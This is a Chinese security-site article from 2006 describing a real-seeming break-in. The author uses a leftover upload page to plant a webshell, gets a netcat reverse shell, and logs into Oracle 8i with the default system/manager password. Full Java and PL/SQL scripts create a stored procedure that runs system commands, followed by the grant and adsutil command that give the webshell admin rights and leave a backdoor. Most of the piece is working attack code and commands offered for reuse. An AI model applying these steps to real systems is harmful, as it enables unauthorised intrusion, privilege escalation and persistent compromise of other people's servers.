奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 数据库 >> Oracle >> 利用ORACLE的system帐户默认口令提升权限
数据库
Access
SQL Server
MySQL
DB2
Oracle
Sybase
  • Linux下安装支持ssl连

  • 在同一台机运行多个My

  • 我的MYSQL安装笔记拿出

  • 写了个简单的数据库自

  • Oracle 10g中新型层次

  • ORACLE回滚段管理(下

  • ORACLE回滚段管理(上

  • Oracle大文本在ASP中存

  •   
    利用ORACLE的system帐户默认口令提升权限
    字体:

    中华网络安全联盟    作者:佚名    来源:网络转载    时间:2006-3-23

    近日,偶到一主机上逛了一圈 主机的配置 还算是安全 偏偏一个比较隐藏的目录下 残留一upfile.asp,结果轻轻松松的得到一webshell接着在主机上逛了逛,拿出superscan从外面扫了下 只开放了80端口 从user\程序目录里 发现有一快捷方式firecontrol 好象是某款硬件防火墙的控制台?EBSHELL下检测了下 开放的服务 发现一般的可提权的方法 都不可行 无SERV-U等等 主机的补丁也是打到了最新.

    试了下,传了个NC上去 反连接得到一SHELL 这下比在老兵的管理器里舒服多了在C盘下看到一目录 oracle 看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件 确定了主机的服务名xxx 看了下版本 oracle 8i 用数据库连接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data Source=xxxx 试了下默认的system帐户 密码manager结果真的就连接到了本地的oracle服务这下好了 oracle的system帐户 就像是mssql下的sa 我们来通过他来提升权限

    马上编辑了几个脚本

    1.sql

    create or replace and compile

    java source named "Util"

    as

    import java.io.*;

    import java.lang.*;

    public class Util extends Object

    {

    public static int RunThis(String args)

    {

    Runtime rt = Runtime.getRuntime();

    int rc = -1;

    try

    {

    Process p = rt.exec(args);

    int bufSize = 4096;

    BufferedInputStream bis =

    new BufferedInputStream(p.getInputStream(), bufSize);

    int len;

    byte buffer[] = new byte[bufSize];

    // Echo back what the program spit out

    while ((len = bis.read(buffer, 0, bufSize)) != -1)

    System.out.write(buffer, 0, len);

    rc = p.waitFor();

    }

    catch (Exception e)

    {

    e.printStackTrace();

    rc = -1;

    }

    finally

    {

    return rc;

    }

    }

    }

    ---------------------------------------

    2.sql

    create or replace

    function RUN_CMD(p_cmd in varchar2) return number

    as

    language java

    name 'Util.RunThis(java.lang.String) return integer';

    -------------------------------------

    3.sql

    create or replace procedure RC(p_cmd in varchar2)

    as

    x number;

    begin

    x := run_cmd(p_cmd);

    end;

    ---------------------------------

    保存在c:\下

    然后用反连接得到的shell运行 sqlplus system/manager@xxx

    然后在 再来执行脚本

    SQL>@C:\1.sql

    SQL>@C:\2.sql

    SQL>@C:\3.sql

    看到JAVA 已创建 函数已创建 过程已创建

    接着我们继续

    SQL> variable x number;

    SQL> set serveroutput on

    SQL> exec dbms_java.set_output(100000);

    SQL>grant javasyspriv to system

    看到授权成功

    接着我们就可以来执行系统命令了 我想 先把ASP.dll加入特权一组

    SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

    看到过程已经成功完成 这个时候我们重新登陆我们的webshell 他已经具有admin权限了

    接着 再用NC返回一个shell 已经是管理权限的了 我们可以做我们想干的事了 因为这个主机有防火墙 过滤了除80以外的端口 所以不好做图形的后门 只有留下一有权限的webshell到此 已经提权成功咯.

    上次看到一篇文章里说 还有种 可以利用msvcrt.dll调用system()函数执行系统命令 结果找了很多资料 都没找到 如果哪位高手有这方面的资料 希望你可以 发布出来 共享一下



    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.